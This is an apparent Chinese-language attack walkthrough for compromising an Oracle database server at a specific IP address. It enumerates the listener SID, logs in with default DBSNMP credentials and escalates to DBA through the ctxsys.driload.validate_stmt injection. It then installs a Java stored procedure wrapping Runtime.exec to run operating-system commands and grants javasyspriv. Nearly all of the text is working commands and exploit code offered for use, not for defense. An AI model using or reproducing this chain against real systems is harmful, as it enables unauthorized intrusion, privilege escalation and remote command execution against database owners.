开有FTP WEB 1521明显是ORACLE数据库端口,ORACLE数据库默认安装以后有很多帐户密码都是默认的,如果管理员安全 意识不高很容易被人利用从而获得系统 权限。
首先要使用lsnrctl得到对方的SID号,使用lsnrctl工具连接对方IP的listener
首先安装个ORACLE的客户端,在CMD里输入lsnrctl 进入lsnrctl后 执行
Set current_listener 目标IP
Status
这个时候可以看到服务 china 和modose 这2个有一个是SID号
使用Sqlplus连接服务器 格式这样的
sqlplus [url=]DBSNMP/DBSNMP@//202.98.123.79:1521/china[/url]
成功登陆,执行 select * from user_role_privs;
可以看出当前用户只具有CONNECT权限
利用Oracle本地PL/SQL漏洞进行权限提升,成功提升为DBA权限
Exec ctxsys.driload.validate_stmt(‘grant dba to dbsnmp’)
SQL> Exec ctxsys.driload.validate_stmt('grant dba to dbsnmp');
BEGIN ctxsys.driload.validate_stmt('grant dba to dbsnmp'); END;
create or replace and compile
java souRCe named "util"
as
import java.io.*;
import java.lang.*;
public class util extends Object
{
public static int RunThis(String args)
{
Runtime rt = Runtime.getRuntime();
int RC = -1;
try
{
Process p = rt.exec(args);
int bufSize = 4096;
BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);
int len;
byte buffer[] = new byte[bufSize];
// Echo back what the program spit out
while ((len = bis.read(buffer, 0, bufSize)) != -1)
System.out.write(buffer, 0, len);
RC = p.waitFor();
}
catch (Exception e)
{
e.printStackTrace();
RC = -1;
}
finally
{
return RC;
}
}
}
/
create or replace
function RUN_CMz(p_cmd in varchar2) return number
as
language java
name 'util.RunThis(java.lang.String) return integer';
/
create or replace procedure RC(p_cmd in varChar)
as
x number;
begin
x := RUN_CMz(p_cmd);
end;
/
variable x number;
set serveroutput on;
exec dbms_java.set_output(100000);
grant javasyspriv to system;